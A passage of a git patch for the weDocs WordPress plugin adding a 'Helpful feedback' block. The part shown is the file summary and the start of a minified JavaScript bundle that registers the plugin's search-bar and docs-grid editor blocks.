From 82e2409270e99cf50069fe5ac9c1d2c41f7007a6 Mon Sep 17 00:00:00 2001 From: Iftakharul Islam Ifat <88052038+iftakharul-islam@users.noreply.github.com> Date: Fri, 19 Sep 2025 19:19:47 +0600 Subject: [PATCH 1/6] Added Helpful feedback --- assets/build/block.asset.php | 2 +- assets/build/block.js | 2 +- .../build/blocks/HelpfulFeedback/block.json | 234 ++++++++ .../build/blocks/HelpfulFeedback/render.php | 390 +++++++++++++ assets/build/index.asset.php | 2 +- assets/build/index.css | 45 ++ assets/build/style-block.css | 1 + assets/js/helpful-feedback.js | 206 +++++++ includes/Ajax.php | 98 ++++ src/blocks/HelpfulFeedback/block.json | 234 ++++++++ src/blocks/HelpfulFeedback/edit.js | 513 ++++++++++++++++++ src/blocks/HelpfulFeedback/index.js | 17 + src/blocks/HelpfulFeedback/render.php | 388 +++++++++++++ src/blocks/HelpfulFeedback/save.js | 7 + src/blocks/HelpfulFeedback/style.scss | 294 ++++++++++ src/blocks/index.js | 1 + wedocs.php | 9 + 17 files changed, 2440 insertions(+), 3 deletions(-) create mode 100644 assets/build/blocks/HelpfulFeedback/block.json create mode 100644 assets/build/blocks/HelpfulFeedback/render.php create mode 100644 assets/js/helpful-feedback.js create mode 100644 src/blocks/HelpfulFeedback/block.json create mode 100644 src/blocks/HelpfulFeedback/edit.js create mode 100644 src/blocks/HelpfulFeedback/index.js create mode 100644 src/blocks/HelpfulFeedback/render.php create mode 100644 src/blocks/HelpfulFeedback/save.js create mode 100644 src/blocks/HelpfulFeedback/style.scss diff --git a/assets/build/block.asset.php b/assets/build/block.asset.php index f6e52f74..5c332698 100644 --- a/assets/build/block.asset.php +++ b/assets/build/block.asset.php @@ -1 +1 @@ - array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '5c13835270f8b2070a23'); + array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'b0c9947e47f4082df227'); diff --git a/assets/build/block.js b/assets/build/block.js index d0bd3679..6b2ae068 100644 --- a/assets/build/block.js +++ b/assets/build/block.js @@ -1 +1 @@ -(()=>{"use strict";var e,t={418:(e,t,o)=>{var l=o(609),a=Symbol.for("react.element"),r=(Symbol.for("react.fragment"),Object.prototype.hasOwnProperty),n=l.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,i={key:!0,ref:!0,__self:!0,__source:!0};t.jsx=function(e,t,o){var l,d={},s=null,c=null;for(l in void 0!==o&&(s=""+o),void 0!==t.key&&(s=""+t.key),void 0!==t.ref&&(c=t.ref),t)r.call(t,l)&&!i.hasOwnProperty(l)&&(d[l]=t[l]);if(e&&e.defaultProps)for(l in t=e.defaultProps)void 0===d[l]&&(d[l]=t[l]);return{$$typeof:a,type:e,key:s,ref:c,props:d,_owner:n.current}}},706:(e,t,o)=>{e.exports=o(418)},445:(e,t,o)=>{var l=o(609);const a=window.wp.blocks,r=window.wp.i18n,n=window.wp.primitives;var i=o(706);const d=(0,i.jsx)(n.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,i.jsx)(n.Path,{d:"M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z"})}),s=(0,i.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,i.jsx)(n.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"})}),c=window.wp.element,u=window.wp.blockEditor,p=window.wp.components,g=({label:e,value:t,unit:o,onValueChange:a,onUnitChange:n})=>(0,l.createElement)(p.Flex,null,(0,l.createElement)(p.FlexBlock,null,(0,l.createElement)(p.TextControl,{label:e,value:parseInt(t),onChange:e=>a(e)})),(0,l.createElement)(p.FlexItem,null,(0,l.createElement)(p.SelectControl,{label:(0,r.__)("Unit","wedocs"),value:o,options:[{label:"px",value:"px"},{label:"%",value:"%"}],onChange:e=>n(e)}))),m=({selected:e,options:t,onChange:o})=>(0,l.createElement)(p.BaseControl,null,(0,l.createElement)("div",{className:"radio-image-control-options"},t.map((t=>(0,l.createElement)("div",{key:t.value,className:"radio-image-option"},(0,l.createElement)("input",{type:"radio",id:`radio-image-${t.value}`,value:t.value,checked:e===t.value,onChange:e=>o(e.target.value)}),(0,l.createElement)("label",{htmlFor:`radio-image-${t.value}`},t.icon&&(0,l.createElement)("i",{className:`dashicons ${t.icon}`}),t.img&&(0,l.createElement)("img",{src:t.img,alt:t.label}),t?.svg)))))),b={hideSearch:{type:"boolean",default:!1},searchWidth:{type:"number",default:50},widthUnit:{type:"string",default:"%"},placeholder:{type:"string",default:(0,r.__)("Search for a top or question","wedocs")},alignment:{type:"string",default:"right"},bgColor:{type:"string",default:"#FFFFFF"},hoverColor:{type:"string",default:"#FFFFFF"},padding:{type:"object",default:{top:14,left:22,right:22,bottom:14}},margin:{type:"object",default:{top:0,left:0,right:0,bottom:0}},borderColor:{type:"string",default:"#cccccc"},borderType:{type:"string",default:"solid"},borderWidth:{type:"number",default:1},borderRadius:{type:"number",default:30},iconColor:{type:"string",default:"#FFFFFF"},iconBgColor:{type:"string",default:"#3b82f6"},iconHoverColor:{type:"string",default:"#2563eb"},svgHoverColor:{type:"string",default:"#FFFFFF"},btnPadding:{type:"object",default:{top:24,left:26,right:26,bottom:24}},btnPosition:{type:"object",default:{top:0,right:0,bottom:10}},btnRadius:{type:"number",default:30}};(0,a.registerBlockType)("wedocs/wedocs-search",{attributes:b,save:({attributes:e})=>{const{margin:t,bgColor:o,padding:a,btnRadius:r,alignment:n,iconColor:i,widthUnit:d,hoverColor:s,borderType:p,hideSearch:g,btnPadding:m,searchWidth:b,btnPosition:h,placeholder:_,borderColor:v,borderWidth:C,iconBgColor:w,borderRadius:f,svgHoverColor:E,iconHoverColor:x}=e;if(g)return;const y={display:"flex",justifyContent:n},B={border:`${C}px ${p} ${v}`,paddingTop:a?.top,paddingLeft:a?.left,paddingRight:a?.right,borderRadius:`${f}px`,paddingBottom:a?.bottom,"--field-color":o,"--field-bg-color":s},S={top:h?.top,left:h?.left,right:h?.right,bottom:h?.bottom,height:"auto",paddingTop:m?.top,paddingLeft:m?.left,borderRadius:r,paddingRight:m?.right,paddingBottom:m?.bottom,"--field-icon-color":i,"--field-btn-bg-color":w,"--field-icon-hover-color":E,"--field-btn-bg-hover-color":x};return(0,l.createElement)(c.Fragment,null,(0,l.createElement)("form",{method:"get",role:"search",action:weDocsBlockVars?.siteUrl,...u.useBlockProps.save({className:"search-form wedocs-search-form"})},(0,l.createElement)("div",{style:y},(0,l.createElement)("div",{className:"wedocs-search-input",style:{width:b+d,marginTop:t?.top,marginLeft:t?.left,marginRight:t?.right,marginBottom:t?.bottom}},(0,l.createElement)("input",{name:"s",type:"search",style:B,className:"search-field",placeholder:_}),(0,l.createElement)("input",{type:"hidden",name:"post_type",value:"docs"}),(0,l.createElement)("button",{type:"submit",style:S,className:"search-submit"},(0,l.createElement)("svg",{width:"15",height:"16",fill:"none"},(0,l.createElement)("path",{fillRule:"evenodd",d:"M11.856 10.847l2.883 2.883a.89.89 0 0 1 0 1.257c-.173.174-.401.261-.629.261s-.455-.087-.629-.261l-2.883-2.883c-1.144.874-2.532 1.353-3.996 1.353a6.56 6.56 0 0 1-4.671-1.935c-2.576-2.575-2.576-6.765 0-9.341C3.179.934 4.839.247 6.603.247s3.424.687 4.671 1.935a6.56 6.56 0 0 1 1.935 4.67 6.55 6.55 0 0 1-1.353 3.995zM3.189 3.439c-1.882 1.882-1.882 4.945 0 6.827.912.912 2.124 1.414 3.414 1.414s2.502-.502 3.414-1.414 1.414-2.124 1.414-3.413-.502-2.502-1.414-3.413-2.124-1.414-3.414-1.414-2.502.502-3.414 1.414z"})))))))},edit:({attributes:e,setAttributes:t})=>{const o=(0,u.useBlockProps)(),{margin:a,bgColor:n,padding:i,btnRadius:b,alignment:h,iconColor:_,widthUnit:v,hoverColor:C,borderType:w,hideSearch:f,btnPadding:E,searchWidth:x,btnPosition:y,placeholder:B,borderColor:S,borderWidth:k,iconBgColor:F,borderRadius:P,svgHoverColor:R,iconHoverColor:T}=e;console.log("editor panel:",n);const M=[{value:"left",label:(0,r.__)("Align left","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"left"===h?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M8 9.462h12m-12 6h6m-10-9v12"}))},{value:"center",label:(0,r.__)("Align center","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"center"===h?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M18 9.462H6m8.99 6h-6"}),(0,l.createElement)("path",{d:"M12 6.462v12"}))},{value:"right",label:(0,r.__)("Align right","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"right"===h?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M16 9.462H4m12 6h-6m10-9v12"}))}],[N,D]=(0,c.useState)(!1),[O,$]=(0,c.useState)(!1),[L,A]=(0,c.useState)(!1),H={display:"flex",justifyContent:h},j={border:`${k}px ${w} ${S}`,paddingTop:i?.top,background:N?C:n,paddingLeft:i?.left,paddingRight:i?.right,borderRadius:`${P}px`,paddingBottom:i?.bottom},I={top:y?.top,left:y?.left,right:y?.right,bottom:y?.bottom,height:"auto",background:L?T:F,paddingTop:E?.top,paddingLeft:E?.left,borderRadius:b,paddingRight:E?.right,paddingBottom:E?.bottom},V=[{label:(0,r.__)("Solid","wedocs"),value:"solid"},{label:(0,r.__)("Dotted","wedocs"),value:"dotted"},{label:(0,r.__)("Dashed","wedocs"),value:"dashed"},{label:(0,r.__)("Double","wedocs"),value:"double"},{label:(0,r.__)("Groove","wedocs"),value:"groove"},{label:(0,r.__)("Ridge","wedocs"),value:"ridge"},{label:(0,r.__)("Inset","wedocs"),value:"inset"},{label:(0,r.__)("Outset","wedocs"),value:"outset"},{label:(0,r.__)("None","wedocs"),value:"none"},{label:(0,r.__)("Hidden","wedocs"),value:"hidden"}];return(0,l.createElement)(c.Fragment,null,(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(p.PanelBody,null,(0,l.createElement)(p.ToggleControl,{checked:f,className:"wedocs-search-toggle",label:(0,r.__)("Disable Block","wedocs"),onChange:e=>t({hideSearch:e})})),!f&&(0,l.createElement)(c.Fragment,null,(0,l.createElement)(p.PanelBody,{title:(0,r.__)("Color Settings","wedocs"),icon:d,initialOpen:!1,className:"wedocs-search-color-settings"},(0,l.createElement)(u.PanelColorSettings,{colors:[{name:"Sweet",color:"#F43F5E"},{name:"Orange",color:"#F97316"},{name:"Yellow",color:"#FACC15"},{name:"Purple",color:"#8B5CF6"},{name:"Light Blue",color:"#3B82F6"},{name:"Light Green",color:"#10B981"}],colorSettings:[{value:n,label:(0,r.__)("Field Background Color","wedocs"),onChange:e=>t({bgColor:e})},{value:C,label:(0,r.__)("Field Hover Color","wedocs"),onChange:e=>t({hoverColor:e})},{value:S,label:(0,r.__)("Border Color","wedocs"),onChange:e=>t({borderColor:e})},{value:_,label:(0,r.__)("Icon Color","wedocs"),onChange:e=>t({iconColor:e})},{value:F,label:(0,r.__)("Button Color","wedocs"),onChange:e=>t({iconBgColor:e})},{value:T,label:(0,r.__)("Button Hover Color","wedocs"),onChange:e=>t({iconHoverColor:e})},{value:R,label:(0,r.__)("Icon Hover Color","wedocs"),onChange:e=>t({svgHoverColor:e})}]})),(0,l.createElement)(p.PanelBody,{title:(0,r.__)("Search Bar Settings","wedocs"),icon:s},(0,l.createElement)(g,{unit:v,value:x,label:(0,r.__)("Field Width","wedocs"),onUnitChange:e=>t({widthUnit:e}),onValueChange:e=>t({searchWidth:e?parseInt(e):0})}),(0,l.createElement)(p.TextControl,{value:B,label:(0,r.__)("Placeholder","wedocs"),placeholder:(0,r.__)("Search bar placeholder","wedocs"),onChange:e=>t({placeholder:e})}),(0,l.createElement)("p",{style:{fontSize:11}},(0,r.__)("POSITION","wedocs")),(0,l.createElement)(m,{selected:h,options:M,onChange:e=>t({alignment:e})}),(0,l.createElement)(p.__experimentalBoxControl,{resetValues:{top:"14px",left:"22px",right:"22px",bottom:"14px"},values:i,label:(0,r.__)("Field Padding","wedocs"),onChange:e=>t({padding:e})}),(0,l.createElement)(p.__experimentalBoxControl,{resetValues:{top:"0px",left:"0px",right:"0px",bottom:"0px"},values:a,label:(0,r.__)("Field Margin","wedocs"),onChange:e=>t({margin:e})}),(0,l.createElement)(p.RangeControl,{min:0,max:10,value:k,label:(0,r.__)("Border Width","wedocs"),onChange:e=>t({borderWidth:e})}),(0,l.createElement)(p.RangeControl,{min:0,max:100,value:P,label:(0,r.__)("Border Radius","wedocs"),onChange:e=>t({borderRadius:e})}),(0,l.createElement)(p.SelectControl,{value:w,options:V,label:(0,r.__)("Border Type","wedocs"),onChange:e=>t({borderType:e})}),(0,l.createElement)(p.__experimentalBoxControl,{resetValues:{top:"24px",left:"26px",right:"26px",bottom:"24px"},values:E,label:(0,r.__)("Button Padding","wedocs"),onChange:e=>t({btnPadding:e})}),(0,l.createElement)(p.__experimentalBoxControl,{resetValues:{top:"0px",right:"0px",bottom:"10px"},values:y,label:(0,r.__)("Button Margin","wedocs"),onChange:e=>t({btnPosition:e})}),(0,l.createElement)(p.RangeControl,{min:0,max:100,value:b,label:(0,r.__)("Button Radius","wedocs"),onChange:e=>t({btnRadius:e})})))),(0,l.createElement)("div",{...o,style:H},(0,l.createElement)("div",{className:"wedocs-editor-search-input",style:{width:x+v,marginTop:a?.top,marginLeft:a?.left,marginRight:a?.right,marginBottom:a?.bottom}},(0,l.createElement)("input",{readOnly:!0,style:j,className:"search-field",placeholder:B,onMouseEnter:()=>D(!0),onMouseLeave:()=>D(!1)}),(0,l.createElement)("input",{type:"hidden",name:"post_type",value:"docs"}),(0,l.createElement)("button",{type:"submit",style:I,className:"search-submit",onMouseEnter:()=>A(!0),onMouseLeave:()=>A(!1)},(0,l.createElement)("svg",{width:"15",height:"16",fill:"none",onMouseEnter:()=>$(!0),onMouseLeave:()=>$(!1)},(0,l.createElement)("path",{fill:O?R:_,fillRule:"evenodd",d:"M11.856 10.847l2.883 2.883a.89.89 0 0 1 0 1.257c-.173.174-.401.261-.629.261s-.455-.087-.629-.261l-2.883-2.883c-1.144.874-2.532 1.353-3.996 1.353a6.56 6.56 0 0 1-4.671-1.935c-2.576-2.575-2.576-6.765 0-9.341C3.179.934 4.839.247 6.603.247s3.424.687 4.671 1.935a6.56 6.56 0 0 1 1.935 4.67 6.55 6.55 0 0 1-1.353 3.995zM3.189 3.439c-1.882 1.882-1.882 4.945 0 6.827.912.912 2.124 1.414 3.414 1.414s2.502-.502 3.414-1.414 1.414-2.124 1.414-3.413-.502-2.502-1.414-3.413-2.124-1.414-3.414-1.414-2.502.502-3.414 1.414z"})))),f&&(0,l.createElement)("div",{className:"backdrop"})))},icon:(0,l.createElement)("svg",{width:"20",height:"20",viewBox:"0 0 20 20",fill:"none"},(0,l.createElement)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M8.91421 1.5H5.5C4.39543 1.5 3.5 2.39543 3.5 3.5V6.91421V9.02779V15.5C3.5 16.6046 4.39543 17.5 5.5 17.5H7.02779C6.07771 16.4385 5.5 15.0367 5.5 13.5C5.5 10.1863 8.18629 7.5 11.5 7.5C13.0367 7.5 14.4385 8.07771 15.5 9.02779V8.5V6.91421C15.5 6.38378 15.2893 5.87507 14.9142 5.5L11.5 2.08579C11.1249 1.71071 10.6162 1.5 10.0858 1.5H8.91421ZM15.5 13.5C15.5 11.2909 13.7091 9.5 11.5 9.5C9.29086 9.5 7.5 11.2909 7.5 13.5C7.5 15.7091 9.29086 17.5 11.5 17.5C12.2414 17.5 12.9364 17.2977 13.5318 16.946L14.7929 18.2071C15.1834 18.5976 15.8166 18.5976 16.2071 18.2071C16.5976 17.8166 16.5976 17.1834 16.2071 16.7929L14.946 15.5318C15.2977 14.9364 15.5 14.2414 15.5 13.5ZM11.5 11.5C12.6046 11.5 13.5 12.3954 13.5 13.5C13.5 14.0526 13.2772 14.5512 12.9142 14.9142C12.5512 15.2772 12.0526 15.5 11.5 15.5C10.3954 15.5 9.5 14.6046 9.5 13.5C9.5 12.3954 10.3954 11.5 11.5 11.5Z",fill:"#111827"})),title:(0,r.__)("weDocs - Searchbar","wedocs"),keywords:["Search","weDocs search bar","Bar"],category:"widgets",description:(0,r.__)("Simple search forms for easy user guidance for your documentation","wedocs")});const h=({attributes:e,setAttributes:t})=>{const o=e=>o=>{t({[e]:o})},a=((0,r.__)("Solid","wedocs"),(0,r.__)("Dashed","wedocs"),(0,r.__)("Dotted","wedocs"),(0,r.__)("None","wedocs"),[{name:"Sweet",color:"#F43F5E"},{name:"Orange",color:"#F97316"},{name:"Yellow",color:"#FACC15"},{name:"Purple",color:"#8B5CF6"},{name:"Light Blue",color:"#3B82F6"},{name:"Light Green",color:"#10B981"}]);return(0,l.createElement)(l.Fragment,null,(0,l.createElement)(p.PanelBody,{title:(0,r.__)("Grid Styles","wedocs"),icon:"admin-appearance",initialOpen:!1},(0,l.createElement)("label",null,(0,r.__)("Colors","wedocs")),(0,l.createElement)(u.PanelColorSettings,{colors:a,colorSettings:[{value:e.docTitleColor,label:(0,r.__)("Doc Title Color","wedocs"),onChange:e=>o("docTitleColor")(e)},{value:e.docChildrenActiveColor,label:(0,r.__)("Doc Children Active Color","wedocs"),onChange:e=>o("docChildrenActiveColor")(e)},{value:e.borderColor,label:(0,r.__)("Border Color","wedocs"),onChange:e=>o("borderColor")(e)}]}),(0,l.createElement)(p.__experimentalBoxControl,{label:(0,r.__)("Grid Padding","wedocs"),values:e.gridPadding,onChange:o("gridPadding")}),(0,l.createElement)(p.__experimentalBoxControl,{label:(0,r.__)("Grid Margin","wedocs"),values:e.gridMargin,onChange:o("gridMargin")}),(0,l.createElement)(p.SelectControl,{label:(0,r.__)("Border Type","wedocs"),value:e.borderType,options:[{label:(0,r.__)("Solid","wedocs"),value:"solid"},{label:(0,r.__)("Dashed","wedocs"),value:"dashed"},{label:(0,r.__)("Dotted","wedocs"),value:"dotted"},{label:(0,r.__)("None","wedocs"),value:"none"}],onChange:e=>t({borderType:e})}),(0,l.createElement)(p.SelectControl,{label:(0,r.__)("Border Width","wedocs"),value:e.borderWidth,options:[{label:"0px",value:"0px"},{label:"1px",value:"1px"},{label:"2px",value:"2px"},{label:"3px",value:"3px"},{label:"4px",value:"4px"},{label:"5px",value:"5px"}],onChange:e=>t({borderWidth:e})}),(0,l.createElement)(p.SelectControl,{label:(0,r.__)("Border Radius","wedocs"),value:e.borderRadius,options:[{label:"0px",value:"0px"},{label:"4px",value:"4px"},{label:"8px",value:"8px"},{label:"12px",value:"12px"},{label:"16px",value:"16px"},{label:"20px",value:"20px"}],onChange:e=>t({borderRadius:e})})),(0,l.createElement)(p.PanelBody,{title:(0,r.__)("Button Styles","wedocs"),icon:"admin-appearance",initialOpen:!1},(0,l.createElement)("label",null,(0,r.__)("Button Colors","wedocs")),(0,l.createElement)(u.PanelColorSettings,{colors:a,colorSettings:[{value:e.buttonColor,label:(0,r.__)("Button Color","wedocs"),onChange:e=>o("buttonColor")(e)},{value:e.buttonHoverColor,label:(0,r.__)("Button Hover Color","wedocs"),onChange:e=>o("buttonHoverColor")(e)},{value:e.buttonTextColor,label:(0,r.__)("Button Text Color","wedocs"),onChange:e=>o("buttonTextColor")(e)},{value:e.buttonHoverTextColor,label:(0,r.__)("Button Hover Text Color","wedocs"),onChange:e=>o("buttonHoverTextColor")(e)}]}),(0,l.createElement)(p.__experimentalBoxControl,{label:(0,r.__)("Button Padding","wedocs"),values:e.buttonPadding,onChange:o("buttonPadding")}),(0,l.createElement)(p.__experimentalBoxControl,{label:(0,r.__)("Button Margin","wedocs"),values:e.buttonMargin,onChange:o("buttonMargin")}),(0,l.createElement)(p.SelectControl,{label:(0,r.__)("Button Border Radius","wedocs"),value:e.buttonBorderRadius,options:[{label:"0px",value:"0px"},{label:"4px",value:"4px"},{label:"8px",value:"8px"},{label:"12px",value:"12px"},{label:"16px",value:"16px"},{label:"20px",value:"20px"}],onChange:e=>t({buttonBorderRadius:e})}),(0,l.createElement)("div",{className:"wedocs-color-control"},(0,l.createElement)("label",null,(0,r.__)("Button Text","wedocs")),(0,l.createElement)(p.TextControl,{value:e.buttonText,onChange:o("buttonText")}))))},_=JSON.parse('{"UU":"wedocs/wedocs-docs-grid"}');(0,a.registerBlockType)(_.UU,{edit:({attributes:e,setAttributes:t})=>{const o=(0,u.useBlockProps)(),{useSelect:a}=wp.data,[n,i]=(0,c.useState)(1),[d,g]=(0,c.useState)(!1),{hideDocGrid:m,docStyle:b,docsPerPage:_,excludeDocs:v,order:C,orderBy:w,sectionsPerDoc:f,articlesPerSection:E,showDocArticle:x,keepArticlesCollapsed:y,showViewDetails:B,gridPadding:S,gridMargin:k,docTitleColor:F,docChildrenActiveColor:P,borderType:R,borderRadius:T,borderWidth:M,borderColor:N,buttonBorderRadius:D,buttonPadding:O,buttonMargin:$,buttonColor:L,buttonHoverColor:A,buttonTextColor:H,buttonText:j,buttonHoverTextColor:I}=e,V=[{label:"All",value:"all"},...Array.from({length:10},((e,t)=>({label:String(t+1),value:String(t+1)})))],W=[{label:(0,r.__)("weDocs Order","wedocs"),value:"menu_order"},{label:(0,r.__)("ID","wedocs"),value:"id"},{label:(0,r.__)("Name","wedocs"),value:"title"}],z=[{label:(0,r.__)("Ascending","wedocs"),value:"asc"},{label:(0,r.__)("Descending","wedocs"),value:"desc"}],U=[{label:"All",value:"all"},...Array.from({length:10},((e,t)=>({label:String(t+1),value:String(t+1)})))],{pages:G,sections:Y,articles:Z}=a((e=>{const{getEntityRecords:t}=e("core"),o=t("postType","docs",{status:"publish",per_page:-1,parent:0,orderby:w,order:C}),l=o?t("postType","docs",{status:"publish",parent_in:o.map((e=>e.id)),per_page:-1}):null,a=l?t("postType","docs",{status:"publish",parent_in:l.map((e=>e.id)),per_page:-1}):null;return{pages:o,sections:l,articles:a}}),[w,C]),q=(e=>{if("all"===_)return e;const t=parseInt(_),o=(n-1)*t,l=o+t;return e.slice(o,l)})((()=>{if(!G||!Y||!Z)return[];let e=[...G];return v&&v.length>0&&(e=e.filter((e=>!v.includes(e.id.toString())))),e=e.map((e=>{let t=Y.filter((t=>t.parent===e.id));"all"!==f&&(t=t.slice(0,parseInt(f))),t=t.map((e=>{let t=Z.filter((t=>t.parent===e.id));return"all"!==E&&(t=t.slice(0,parseInt(E))),{...e,articles:t}}));const o=t.reduce(((e,t)=>e+t.articles.length),0);return{...e,sections:t,articleCount:o}})),e})()),J=G?G.reduce(((e,t)=>(e[t.id]=t.title.rendered,e)),{}):{},K=(G&&G.map((e=>({value:e.id.toString(),label:e.title.rendered}))),e=>o=>{t({[e]:o})}),Q=v?v.map((e=>J[e]||e)):[];return(0,l.createElement)(c.Fragment,null,(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(p.PanelBody,{title:(0,r.__)("Doc Grid Settings","wedocs"),icon:s,initialOpen:!1},(0,l.createElement)(p.SelectControl,{value:b,options:[{label:"1x1",value:"1x1"},{label:"1x2",value:"1x2"}],label:(0,r.__)("DOCS GRID COLUMN STYLE","wedocs"),onChange:K("docStyle")}),(0,l.createElement)(p.SelectControl,{value:_,options:V,label:(0,r.__)("Docs per page","wedocs"),onChange:K("docsPerPage")}),(0,l.createElement)(p.FormTokenField,{value:Q,suggestions:Object.values(J),label:(0,r.__)("Exclude Docs","wedocs"),onChange:e=>{const o=e.map((e=>{const t=Object.entries(J).find((([t,o])=>o===e));return t?t[0]:e}));t({excludeDocs:o})}}),(0,l.createElement)(p.SelectControl,{value:C,options:z,label:(0,r.__)("Order","wedocs"),onChange:K("order")}),(0,l.createElement)(p.SelectControl,{value:w,options:W,label:(0,r.__)("Order by","wedocs"),onChange:K("orderBy")}),(0,l.createElement)(p.SelectControl,{value:f,options:U,label:(0,r.__)("Sections per doc","wedocs"),onChange:K("sectionsPerDoc")}),(0,l.createElement)(p.SelectControl,{value:E,options:U,label:(0,r.__)("Articles per section","wedocs"),onChange:K("articlesPerSection")}),(0,l.createElement)(p.PanelRow,null,(0,l.createElement)(p.ToggleControl,{checked:x,label:(0,r.__)("Show Doc Article","wedocs"),onChange:K("showDocArticle")})),(0,l.createElement)(p.PanelRow,null,(0,l.createElement)(p.ToggleControl,{checked:y,label:(0,r.__)("Keep Article Collapsed","wedocs"),onChange:K("keepArticlesCollapsed")})),(0,l.createElement)(p.PanelRow,null,(0,l.createElement)(p.ToggleControl,{checked:B,label:(0,r.__)("Show View Details Button","wedocs"),onChange:K("showViewDetails")})))),(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(h,{attributes:e,setAttributes:t})),(0,l.createElement)("div",{...o},m?(0,l.createElement)("div",{className:"backdrop"}):(0,l.createElement)("div",{className:"wedocs-block-wrapper"},(0,l.createElement)("div",{className:`wedocs-docs-grid wedocs-docs-grid--${b}`},d?(0,l.createElement)(Spinner,null):q.map((e=>((e,t)=>(0,l.createElement)("div",{key:e.id,className:"wedocs-docs-grid__item",style:t.item},(0,l.createElement)("h3",{className:"wedocs-docs-grid__title",style:t.title},e.title.rendered),((e,t)=>e.sections?(0,l.createElement)("div",{className:"wedocs-docs-grid__sections "+(y?"is-collapsed":"")},e.sections.map((e=>(0,l.createElement)("div",{key:e.id,className:"wedocs-docs-grid__section"},(0,l.createElement)("h4",{className:"wedocs-docs-grid__section-title",style:{...t.title,display:"flex",justifyContent:"space-between",alignItems:"center"}},(0,l.createElement)("span",null,e.title.rendered),x&&e.articles&&e.articles.length>0&&(0,l.createElement)("svg",{fill:"none",viewBox:"0 0 24 24",width:"16",strokeWidth:"2",stroke:"#acb8c4",className:y?"":"active"},(0,l.createElement)("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"}))),x&&!y&&e.articles&&(0,l.createElement)("ul",{className:"wedocs-docs-grid__articles"},e.articles.map((e=>(0,l.createElement)("li",{key:e.id,className:"wedocs-docs-grid__article",style:t.children},e.title.rendered))))))),0===e.sections.length&&(0,l.createElement)("span",{className:"inside"},(0,l.createElement)("svg",{fill:"none",viewBox:"0 0 24 24","stroke-width":"1.5",stroke:"currentColor"},(0,l.createElement)("path",{"stroke-linecap":"round","stroke-linejoin":"round",d:"M11.25 11.25l.041-.02a.75.75 0 011.063.852l-.708 2.836a.75.75 0 001.063.853l.041-.021M21 12a9 9 0 11-18 0 9 9 0 0118 0zm-9-3.75h.008v.008H12V8.25z"})),(0,r.__)("This document has no sections yet. Check back later or wait for the author to add content.","wedocs"))):null)(e,t),B&&(0,l.createElement)("div",{className:"wedocs-docs-grid__details"},(0,l.createElement)("span",{className:"wedocs-docs-grid__details-link",style:t.button},t.button.text))))(e,(()=>{const e=S?`${S.top} ${S.right} ${S.bottom} ${S.left}`:"",t=k?`${k.top} ${k.right} ${k.bottom} ${k.left}`:"",o=O?`${O.top} ${O.right} ${O.bottom} ${O.left}`:"",l=D||"8px",a=$?`${$.top} ${$.right} ${$.bottom} ${$.left}`:"";return{item:{padding:e,margin:t,borderStyle:R||"solid",borderWidth:M||"1px",borderColor:N||"rgba(0, 0, 0, 0.1)",borderRadius:T||"8px",backgroundColor:"#fff"},title:{color:F||"#1e1e1e"},children:{color:P||"#0073aa"},button:{padding:o,margin:a,backgroundColor:L||"#0073aa",color:H||"#ffffff",text:j||(0,r.__)("View Details","wedocs"),borderRadius:l||"8px","--hover-bg":A||"#005177","--hover-color":I||"#ffffff"}}})())))))))},save:()=>null})},609:e=>{e.exports=window.React}},o={};function l(e){var a=o[e];if(void 0!==a)return a.exports;var r=o[e]={exports:{}};return t[e](r,r.exports,l),r.exports}l.m=t,e=[],l.O=(t,o,a,r)=>{if(!o){var 